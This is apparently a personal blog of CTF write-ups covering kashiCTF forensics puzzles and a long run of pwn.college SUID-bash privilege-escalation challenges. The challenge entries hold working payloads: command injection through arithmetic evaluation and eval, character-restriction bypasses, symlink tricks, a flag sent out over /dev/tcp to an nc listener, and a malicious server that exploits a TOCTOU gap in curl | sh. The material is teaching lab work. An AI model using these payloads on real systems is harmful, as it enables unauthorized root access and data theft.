Hello Navi

Tech, Security & Personal Notes

A network analysis challenge where data was exfiltrated via DNS queries.

Challenge Description

A network capture was obtained from an internal monitoring system after suspicious activity was detected. The traffic appears mostly benign, but analysts believe data was covertly exfiltrated during normal communication.

Initial Reconnaissance

Checking the protocol distribution of the capture.pcap file using tshark:

1
tshark -r capture.pcap -q -z io,phs

The output confirms that 100% of the traffic is DNS, indicating that DNS is being used as a tunnel for exfiltration.

DNS Query Analysis

Extracting the DNS query names reveals two distinct patterns: 1. Repetitive queries for common domains like kashi.com and amazon.com (likely noise). 2. High-entropy subdomains under .exfil.internal.

Extracting the subdomains:

1
2
3
4
5
6
7
tshark -r capture.pcap -T fields -e dns.qry.name | grep ".exfil.internal"
# Example output:
# NNQXG2DJINKE.exfil.internal
# M63ENZZV6ZLY.exfil.internal
# MZUWY5DSMF2G.exfil.internal
# S33OL5UXGX3T.exfil.internal
# NZSWC23ZPU.exfil.internal

Data Recovery

The strings (e.g., NNQXG...) are characteristic of Base32 encoding. We can concatenate these strings and decode them to recover the secret payload:

1
2
3
4
5
6
7
8
import base64

# Concatenated subdomains
encoded_payload = "NNQXG2DJINKEM63ENZZV6ZLYMZUWY5DSMF2GS33OL5UXGX3TNZSWC23ZPU"

# Base32 decoding (adding padding if necessary)
decoded = base64.b32decode(encoded_payload + "======").decode()
print(f"Decoded flag: {decoded}")

Flag

kashiCTF{dns_exfiltration_is_sneaky}

A forensics challenge involving network traffic analysis and IP Time-to-Live (TTL) steganography.

Challenge Description

A packet capture was collected from an internal network segment during routine monitoring. No alerts were triggered at the time, and the traffic appears largely normal. Your task is to analyze the capture and determine whether any meaningful information can be recovered.

Initial Analysis

The provided file ttl_stego.pcap contains a series of ICMP Echo (ping) requests. While the payloads appear standard, the IP Time-to-Live (TTL) values fluctuate between 64 and 65, suggesting binary data is encoded in these variations.

Using tshark to inspect the TTL values:

1
2
tshark -r ttl_stego.pcap -c 10 -T fields -e ip.ttl
# Output: 64, 65, 65, 64, 65, 64, 65, 65, 64, 65...

Extraction & Decoding

The TTL values can be mapped to binary bits: - 64 \(\rightarrow\) 0 - 65 \(\rightarrow\) 1

We can extract the full sequence of TTLs and decode them using a Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys

# Extract TTLs using: tshark -r ttl_stego.pcap -T fields -e ip.ttl > ttls.txt
with open('ttls.txt', 'r') as f:
ttls = [int(line.strip()) for line in f if line.strip()]

# Convert TTLs to bits
bits = "".join(['0' if t == 64 else '1' for t in ttls])

# Convert bits to characters (8 bits per byte)
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) == 8:
flag += chr(int(byte, 2))

print(f"Decoded message: {flag}")

Flag

kashiCTF{ttl_stego_is_evil}

I like to have my poems saved on CTFd instances like this. But the admin does like it, so I hid the secret in my poem.

Solution

The provided poem contains a significant amount of trailing tabs and spaces at the end of each line. This is a classic indication of SNOW (Steganographic Nature Of Whitespace) steganography.

By using a SNOW decoder (such as the web-based snow.js decoder), we can extract the hidden message from the poem text:

1
2
3
4
5
6
7
8
9
10
11
12
13
The way a crow	      	  	   	   		     	   	      
Shook down on me
The dust of snow
From a hemlock tree

Has given my heart
A change of mood
And saved some part
Of a day I had rued.




The decoded message reveals the flag.

Flag

kashiCTF{1_like_poems_but_1_lik3_u_more<3}

Its Time to be sane. I wish I could give the flag, but I can't. Try searching this site. xd :>

Solution

The flag was split into two parts found in different locations on the platform:

  1. robots.txt: Navigating to https://kashictf.iitbhucybersec.in/robots.txt revealed the first part of the flag:

    1
    2
    3
    User-agent: *
    Disallow: /admin
    kashiCTF{50_you_did

  2. Home Page Source: Inspecting the HTML source code of the main landing page https://kashictf.iitbhucybersec.in/ revealed the second part hidden inside a comment:

    1
    <!--- _endup_ge77ing_the_flag_hehe} --->

Combining both parts yields the full flag.

Flag

kashiCTF{50_you_did_endup_ge77ing_the_flag_hehe}

The flag was hidden in the #rules channel of the kashiCTF Discord server.

Solution

The following encoded string was found:

1
Tk5RWEcyREpJTktFTTYzVU5CVVhHWDNYTUZaVjYzVFBPUlBXUVlMU01SNlFVPT09Cg==
  1. Base64 Decoding: Decoding the string once results in a Base32-encoded string.
    1
    NNQXG2DJINKEM63UNBUXGX3XMFZV63TPORPWQYLSMR6QU===
  2. Base32 Decoding: Decoding the resulting string

Flag

kashiCTF{this_was_not_hard}

Unless otherwise noted, all flags match the regular expression RS{[?:]*} (letters, digits, !, ?, :, and _ are allowed).

Welcome to RITSEC CTF

Initial Analysis

The "Welcome" challenge typically points to where the rules or information about the CTF can be found.

Solution

The flag can be found at the end of the information page: https://ctfd.ritsec.club/info.

Flag

RS{why_1s_th3_rum_g0n3?}

Dance of the Disquised

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@unexpected-input~dance-of-the-disguised:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin
[ -n "$1" ] || exit 1

WORKDIR=$(mktemp -d) || exit 2
cp -rL "$1"/* $WORKDIR/files
cd $WORKDIR/files

# make sure there weren't linking shenanegans
grep -q "{" notflag* && exit 3

ls notflag* | while read FILE
do
echo "###### FILE: $FILE #######"
cat "$FILE"
done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir -p /tmp/arch_way/wrapper
ubuntu@unexpected-input~dance-of-the-disguised:~$ ln -s /flag /tmp/arch_way/wrapper/theflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir /tmp/arch_way/wrapper/notflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ touch /tmp/arch_way/wrapper/notflag/theflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ /challenge/run /tmp/arch_way
grep: notflag: Is a directory
###### FILE: theflag #######
pwn.college{********************************************}

# "$1"/* 展开后只有一个对象,也就是 /tmp/arch_way/wrapper 目录。

# cp -rL 发现只有一个源目录,而目标 $WORKDIR/files 不存在,于是它会自动创建 files 目录,并将 wrapper 里的内容(notflag 目录和已被 -L 解引用的 theflag 真实文件)克隆进去。

# 没有任何 cp 报错。接下来的 grep 会因为遇到 notflag 目录而正常返回错误代码跳过 exit 3 验证,ls 输出内层文件名,cat 读取当前目录下的真实 Flag 文件。

Script of the Silent

1
2
3
4
5
6
7
8
9
10
11
ubuntu@unexpected-input~script-of-the-silent:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

[ -n "$1" ] || exit 1
[ "$(realpath "$1")" != "/" ] || exit 1
[ "$(realpath "$1")" != "/flag" ] || exit 2

printf -v BACKUP_DIR "$1"
tar cvf /tmp/backup "$BACKUP_DIR"
1
2
3
4
5
6
7
8
9
ubuntu@unexpected-input~script-of-the-silent:~$ /challenge/run '/f\154ag'
tar: Removing leading `/' from member names
/flag
ubuntu@unexpected-input~script-of-the-silent:~$ tar -xf /tmp/backup -O
pwn.college{********************************************}
# printf 会默认解析格式化字符串 (Format String) 中的转义字符
# printf 中,你可以使用八进制 (Octal) 或十六进制 (Hex) 来表示字符。比如字母 l 的 ASCII 码是 108,转换成八进制就是 154。
# 当执行到 printf -v BACKUP_DIR '/f\154ag' 时,printf 作为 Bash builtin,会将 \154 翻译成 l。
# 接下来执行 tar cvf /tmp/backup "$BACKUP_DIR",实际上执行的就是 tar cvf /tmp/backup /flag。

One Single Slice

1
2
3
4
5
6
7
8
9
10
11
ubuntu@unexpected-input~one-single-slice:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

read VAR < <(head -n1 | tr -cd 'a-zA-Z0-9')
read VAL < <(head -n1)
declare -n PTR="$VAR"
PTR="$VAL"

# declare -n 创建了一个 nameref (引用变量)。PTR 成为了 $VAR 的指针。随后 PTR="$VAL" 将输入赋值给目标变量。
# 在 Bash 中,有一些内置的特殊变量自带 integer attribute,比如 SECONDS、RANDOM 或者 OPTIND。给一个带有整型属性的变量赋一个字符串时,Bash 不会报错,而是会强制将这个字符串作为 Arithmetic Expression (算术表达式) 来求值
# 在 Bash 的算术求值引擎中,如果你提供一个类似数组的语法,比如 a[index],Bash 为了计算最终结果,必须去动态解析这个 index
1
2
3
4
5
6
ubuntu@unexpected-input~one-single-slice:~$ /challenge/run
SECONDS
a[$(cat /flag >&2)]
# or a[$(</flag)]
# or (echo "SECONDS"; sleep 0.1; echo 'a[$(cat /flag >&2)]') | /challenge/run
pwn.college{**********************************************}

The Treacherous Title

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@unexpected-input~the-treacherous-title:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

while read VAR
do
declare -r $VAR
done < <(declare -p | cut -d' ' -f3 | cut -d= -f1 | grep -v "^VAR$")

read VAR < <(head -n1)
read VAL < <(head -n1 | tr -cd 'a-zA-Z0-9')
declare -n PTR="$VAR"
PTR="$VAL"
1
2
3
4
5
6
7
8
9
10
11
# PTR="1" -> 相当于执行 a[$(cat /flag >&2)]="1"
ubuntu@unexpected-input~the-treacherous-title:~$ (echo 'a[$(cat /flag >&2)]'; sleep 0.1; echo '1') | /challenge/run
/challenge/run: line 5: _: readonly variable
/challenge/run: line 3: _: readonly variable
/challenge/run: line 8: SHLVL: readonly variable
/challenge/run: line 8: _: readonly variable
/challenge/run: line 9: _: readonly variable
/challenge/run: line 10: _: readonly variable
/challenge/run: line 11: _: readonly variable
pwn.college{**********************************************}
/challenge/run: line 11: _: readonly variable

The Dangling Danger

1
2
3
4
5
6
7
ubuntu@unexpected-input~the-dangling-danger:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[[ "$1" = *flag ]] && exit 1
cat /$(basename "$1")
1
2
3
ubuntu@unexpected-input~the-dangling-danger:~$ /challenge/run /flag/
pwn.college{**********************************************}
# 当执行 basename /flag/ 时,basename 会先剥离掉末尾的斜杠,把它当成 /flag 处理

The Evil End

1
2
3
4
5
6
7
8
ubuntu@unexpected-input~the-evil-end:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[[ "$1" = *flag ]] && exit 1
[[ "$1" = */ ]] && exit 2
cat /$(basename "$1")

Command Substitution

1
2
ubuntu@unexpected-input~the-evil-end:~$ /challenge/run '</f*'
pwn.college{**********************************************}

An Eroded Erasure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run-actual
#!/bin/bash -p

read FLAG < /flag
read FLAG
echo "$FLAG"
1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@unexpected-input~an-eroded-erasure:~$ env BASH_COMPAT=4.2 /challenge/run 0<&-
/challenge/run-actual: line 4: read: read error: 0: Bad file descriptor
pwn.college{**********************************************}

# 在现代 Bash (4.3 版本及以上) 中,如果 read 遇到了 EOF,会清空目标变量
# 在 Bash 4.3 版本之前,read 命令的底层逻辑存在一个特性:如果它在读取时撞上了 EOF,它会直接报错退出
# BASH_COMPAT 通过设置这个变量可以强制现代 Bash 模拟旧版本的行为

# 0:FD 0 -> stdin。
# <:Input Redirection
# &:Indicator
# -:Close

Secrets of the Processes

1
2
3
4
5
6
7
8
9
10
11
ubuntu@other~secrets-of-the-processes:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
echo "Guess the flag:"
if head -n1 | grep -q "$(< /flag)"
then
echo "You got it!"
else
echo "Nope."
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@other~secrets-of-the-processes:~$ /challenge/run &
[1] 136
ubuntu@other~secrets-of-the-processes:~$ Guess the flag:
ps -eo cmd | grep grep
grep -q pwn.college{********************************************}
grep --color=auto grep

[1]+ Stopped /challenge/run
ubuntu@other~secrets-of-the-processes:~$ ps aux | grep grep
root 138 0.0 0.0 1276 0 pts/1 T 12:13 0:00 grep -q pwn.college{********************************************}
ubuntu 142 0.0 0.0 230744 2560 pts/1 S+ 12:13 0:00 grep --color=auto grep

# 在 Linux 底层,当 Bash 遇到管道操作 A | B 时,Bash 会优先解析命令行里的变量和命令替换。此时,拥有高权限的 SUID 脚本会执行 $(< /flag),把真实的 Flag 字符串读取出来。
# Bash 为管道两边的命令分别 fork 出子进程。
# 左边的进程执行 head -n1。
# 右边的进程执行 grep -q "真正的FLAG字符串"。
# head -n1 会挂起,等待右边的进程执行完毕。

Puzzle of the Perverse Predicates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run-actual
#!/bin/bash -p

PATH=/usr/bin
read FLAG < /flag
[ "$1" != "$FLAG" ] && echo "Incorrect Guess. Goodbye!" || bash -i
1
2
3
4
5
6
7
8
9
ubuntu@other~puzzle-of-the-perverse-predicates:~$ /challenge/run >&-
/challenge/run-actual: line 5: echo: write error: Bad file descriptor
root@other~puzzle-of-the-perverse-predicates:~# cat /flag 1>&2
pwn.college{********************************************}

# A && B || C 在 Bash 中被称为 AND/OR Lists (逻辑谓词链)
# 如果 echo 命令执行失败了,那么 (A && B) 这个整体的布尔值就会变成 False,后面的 || (OR 谓词) 就会被强行触发,导致 bash -i 被执行
# 利用 >&- 关闭进程的 stdout echo 向一个已经关闭的文件描述符写入数据,触发 write error: Bad file descriptor,并且返回一个表示失败的退出状态码 (1)
# 1>&2 将 stdout 重定向到依然开启的 stderr (FD 2)

The Flag, Resting Safely

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ubuntu@other~the-flag-resting-safely:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read FLAG < /flag
read DEST < <(tr -cd "[a-z0-9/]" <<< "$1")
[[ "$DEST" == /* ]] || exit 1

OLDIFS="$IFS"
IFS="/"
FILE=""
for FRAGMENT in $DEST
do
[ -z "$FRAGMENT" ] && continue
FILE="$FILE/$FRAGMENT"
[ $(stat -c %U "$FILE") == "hacker" ] && exit 2
[ $(stat -c %G "$FILE") == "hacker" ] && exit 3
[[ $(stat -c %A "$FILE") =~ .....w..w. ]] && exit 4
[ "$FRAGMENT" == "proc" ] && exit 5
[ "$FRAGMENT" == "fd" ] && exit 6
[ "$FRAGMENT" == "hacker" ] && exit 7

chmod 000 "$FILE"
done
IFS="$OLDIFS"

[ -e "$FILE" ] && exit 6 # fix clever bypass by amateurhour
umask 777
touch "$DEST"
echo $FLAG > "$DEST"
1
2
3
4
5
6
7
8
9
10
11
ubuntu@other~the-flag-resting-safely:~$ /challenge/run /dev/tcp/localhost/1337
stat: cannot statx '/dev/tcp': No such file or directory
/challenge/run: line 16: [: ==: unary operator expected
stat: cannot statx '/dev/tcp': No such file or directory
/challenge/run: line 17: [: ==: unary operator expected
stat: cannot statx '/dev/tcp': No such file or directory

ubuntu@other~the-flag-resting-safely:~$ nc -lvp 1337
nc: getnameinfo: Temporary failure in name resolution
Connection received on localhost 39398
pwn.college{********************************************}
  1. tr -cd "[a-z0-9/]" 意味着只能使用小写字母、数字和斜杠。
  2. 不能是 hacker 拥有的目录,不能是带有组/其他用户写权限的目录(这就排除了 /tmp, /dev/shm 等)。
  3. chmod 000 "$FILE"。脚本在遍历你提供的路径时,会把沿途所有的目录权限全部抹成 000
  4. [ -e "$FILE" ] && exit 6。目标路径不能事先存在。
  5. umask 777 结合 touch,创建出的最终文件权限是 000

当 Bash 处理重定向符 > 时,如果后面的路径是 /dev/tcp/host/port,它会将其拦截,并在内部发起一个 TCP Socket 网络连接

The Scream of Silence

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
ubuntu@other~the-scream-of-silence:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

exec /bin/bash --restricted --init-file /challenge/.yanjail
ubuntu@other~the-scream-of-silence:~$ cat /challenge/.yanjail
# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

set +H
set +f
set +m
set +B

export PS1="NO WAY OUT: "
export PATH=/nope
alias case=nope
alias coproc=nope
alias do=nope
alias done=nope
alias elif=nope
alias else=nope
alias esac=nope
#alias exit=nope
alias fi=nope
alias for=nope
alias function=nope
alias if=nope
alias in=nope
alias select=nope
alias then=nope
alias time=nope
alias until=nope
alias while=nope

enable -n .
enable -n :
enable -n [
enable -n alias
enable -n bg
enable -n bind
enable -n break
enable -n builtin
enable -n caller
enable -n cd
enable -n command
enable -n compgen
enable -n complete
enable -n compopt
enable -n continue
enable -n declare
enable -n dirs
enable -n disown
enable -n echo
enable -n eval
enable -n exec
#enable -n exit
enable -n export
enable -n false
enable -n fc
enable -n fg
enable -n getopts
enable -n hash
enable -n help
enable -n history
enable -n jobs
enable -n kill
enable -n let
enable -n local
enable -n logout
enable -n mapfile
enable -n popd
enable -n printf
enable -n pushd
enable -n pwd
enable -n read
enable -n readarray
enable -n readonly
enable -n return
enable -n set
enable -n shift
enable -n shopt
enable -n source
enable -n suspend
enable -n test
enable -n times
enable -n trap
enable -n true
enable -n type
enable -n typeset
enable -n ulimit
enable -n umask
enable -n unalias
enable -n unset
enable -n wait
enable -n enable
1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@other~the-scream-of-silence:~$ /challenge/run
NO WAY OUT: exit() { A=1; }
NO WAY OUT: $(< /flag)
bash: pwn.college{********************************************}: command not found

# 在 Bash 中,当你输入一个命令(比如 exit),Bash 是按照严格的优先级顺序去查找它的:

# Aliases (别名)
# Keywords (关键字)
# Functions (函数) -> exit()
# Builtins (内置命令) -> exit
# $PATH 中的可执行文件

Deception, Born of Wisdom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ubuntu@other~deception-born-of-wisdom:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

chmod o-rwx .
chmod o-rwx /proc

function check_script {
curl -s http://challenge.localhost:1337/install.sh -o script.sh || exit 1

# good installer scripts should just touch a bunch of files
grep -E '^(touch|echo|sleep) [0-9a-zA-Z]*$' script.sh > sanitized_script.sh
if ! diff script.sh sanitized_script.sh
then
echo "Looks like there are some shenanigans in your script. Aborting!"
rm -f /flag
exit 1
fi
}

echo "Thoroughly checking your install script for shenanigans..."
i=0
MAX=$(($RANDOM%1000+1337))
while [ "$i" -lt "$MAX" ]
do
check_script
echo -ne "\rChecked for the $((i++))th time... "
done

curl -s http://challenge.localhost:1337/install.sh | sh

TOCTOU (Time-of-Check to Time-of-Use)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import time

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 1337))
s.listen(5)

http_header = b"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n"
safe_payload = http_header + b"sleep 2\n" + b"echo a\n" * 50000

while True:
c, addr = s.accept()

try:
c.recv(1024)

c.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 4096)
c.settimeout(0.1)

c.sendall(safe_payload)
c.close()

# 如果是 curl -o:瞬间下载完,Web 服务器的发送缓冲区瞬间清空。
# 如果是 curl | sh:sh 被 sleep 2,管道被塞满 64 KB,curl 无法继续写入,于是停止从网络读取,导致 TCP 接收窗口被塞满,最终反向导致我们 Web 服务器的 send() 函数被阻塞 (Block)
except socket.timeout:
time.sleep(2)
c.settimeout(3.0)
c.sendall(b"\ncat /flag\n")
print("Success")
c.close()
break
except ConnectionResetError:
pass
1
2
3
ubuntu@other~deception-born-of-wisdom:~$ /challenge/run | grep pwn
sh: 24890: ech: not found
pwn.college{********************************************}

Beam me up, Sensei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ubuntu@other~beam-me-up-sensei:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

regex='^[0-9]+[\+\-\*/][0-9]+$'

if [[ "$1" =~ $regex ]]
then
RESULT=$[$1]
exit $RESULT
# If there are more than one argument, the exit status is 1, and the shell does not exit.
else
exit 0
fi

cat /flag
1
2
3
ubuntu@other~beam-me-up-sensei:~$ /challenge/run "1/0"
/challenge/run: line 7: 1/0: division by 0 (error token is "0")
pwn.college{**********************************************}

In the realm of the shell, brutal input restrictions may seem to be impenetrable walls, the unyielding gatekeepers of commands. Yet, to the adept practitioner, these walls are but illusions, mere whispers of constraints. With cunning and a deep understanding of the shell's inner workings, one can bypass these seeming obstructions. Like a river flowing around a stone, the input, seemingly restricted, finds its own path. Embrace this lesson and realize that in the shell, as in life, perceived limitations are often just opportunities for creative solutions.

Rhythm of Restriction

1
2
3
4
5
6
7
ubuntu@input-restrictions~rhythm-of-restriction:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$INPUT"
1
2
3
4
ubuntu@input-restrictions~rhythm-of-restriction:~$ echo "/bin/cat /flag" > _
ubuntu@input-restrictions~rhythm-of-restriction:~$ /challenge/run
. _
pwn.college{********************************************}
1
2
3
4
5
6
7
输入 . _ 时,tr -d 发现没有字母、数字或 /。变量 $INPUT 的值就是 . _。

eval ". _" 被执行。因为点号 . 是内置命令,它不需要 /usr/bin 里的任何外部可执行文件。

Bash 会去寻找名为 _ 的文件。虽然题目里的 PATH 被重置为 /usr/bin,但在 Bash 的机制中,如果 source 的目标文件不带路径斜杠,且在 PATH 中找不到,它会默认回退去搜索当前目录 (current directory)。

于是,它成功加载了你之前创建的 _ 文件,并在拥有 SUID 权限的 shell 环境下,执行了里面的 /bin/cat /flag。

Odyssey of the Octal

1
2
3
4
5
6
7
ubuntu@input-restrictions~odyssey-of-the-octal:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./]")
eval "$INPUT"
1
2
3
ubuntu@input-restrictions~odyssey-of-the-octal:~$ /challenge/run
$(<_)
pwn.college{********************************************}

Riddle of the Radix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~riddle-of-the-radix:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read -r INPUT < <(head -n1 | tr -d "[A-Za-z./]")
eval "$INPUT"
}

doit

ANSI-C Quoting

$'\NNN' 这种语法允许通过八进制 (Octal) ASCII 码来表示任何字符。

1
2
3
ubuntu@input-restrictions~riddle-of-the-radix:~$ /challenge/run
$'\057\142\151\156\057\143\141\164' $'\057\146\154\141\147'
pwn.college{********************************************}

Whisper of the Withheld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~whisper-of-the-withheld:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z./]")
eval "$INPUT"
}

doit

have now -r raw this time $'\NNN' -> $'NNN' $'\\NNN' -> $'\NNN'

1
2
3
ubuntu@input-restrictions~whisper-of-the-withheld:~$ /challenge/run
$'\\057\\142\\151\\156\\057\\143\\141\\164' $'\\057\\146\\154\\141\\147'
pwn.college{********************************************}

Path of the Unseen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~path-of-the-unseen:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9.~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~path-of-the-unseen:~$ echo "/bin/cat /flag" > /tmp/___
ubuntu@input-restrictions~path-of-the-unseen:~$ chmod +x /tmp/___
ubuntu@input-restrictions~path-of-the-unseen:~$ /challenge/run
/*/___
pwn.college{********************************************}

# /* 代表根目录下的所有子目录(如 /bin, /etc, /usr, /tmp 等)。

# /*/___ 意思是:在根目录的任意子目录中,寻找名为 ___ 的文件。

Dance of the Disallowed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~dance-of-the-disallowed:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
ubuntu@input-restrictions~dance-of-the-disallowed:~$ /challenge/run
__=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________ $_______????
nl: /boot: Is a directory
1 pwn.college{********************************************}
nl: /home: Is a directory
nl: /proc: Is a directory
nl: /root: Is a directory
nl: /sbin: Is a directory
1
__=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________ $_______????
  • __=$ \(\rightarrow\) 参数个数的长度,拿到 1

  • ___=$(($__-$__)) \(\rightarrow\) 1 - 1 = 0

  • ____=$(($__+$__)) \(\rightarrow\) 1 + 1 = 2

  • _____=$(($____+$____)) \(\rightarrow\) 2 + 2 = 4

  • ______=$(($_____+$____+$__)) \(\rightarrow\) 4 + 2 + 1 = 7

  • $# 是 0,所以 ${!#} 会解析为 $0,即字符串 /challenge/run

  • _______=${!#:___:__} \(\rightarrow\) 提取索引 0,长度 1,得到斜杠 /

  • ________=${!#:_____:__} \(\rightarrow\) 提取索引 4,长度 1,得到字母 l

  • _________=${!#:______:__} \(\rightarrow\) 提取索引 7,长度 1,得到字母 n

最后的 $_________$________ $_______???? 展开后等效于:

1
nl /????

因为题目环境配置了 PATH=/usr/bin,bash 会直接在路径中找到 /usr/bin/nl 并执行它。nl 会忽略掉那些作为目录的 /boot/dev

Veil of the Forbidden

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~veil-of-the-forbidden:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -cd "[_$}{()#;:<=+]")
eval "$INPUT"
}

doit
1
2
3
4
ubuntu@input-restrictions~veil-of-the-forbidden:~$ /challenge/run
____=<(:);___=$((++___));__=$((___+___+___+___+___+___+___+___));$(<${____:$#:$__}$#)
cat /flag
pwn.college{********************************************}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
漏洞出在 head -n1 上。它只消耗了标准输入的第一行。

只要在第一行用([_$}{()#;:<=+])拼凑出读取并执行标准输入的指令,第二行就可以 cat /flag

____=<(:) 利用进程替换生成 /dev/fd/63,并存入变量 ____(四个下划线)。在部分 Bash中,空的进程替换 <() 会被解析器判定为 Syntax Error。空指令 : 防止这种情况(Null Utility)

___=$((++___)) 自增数字 1。

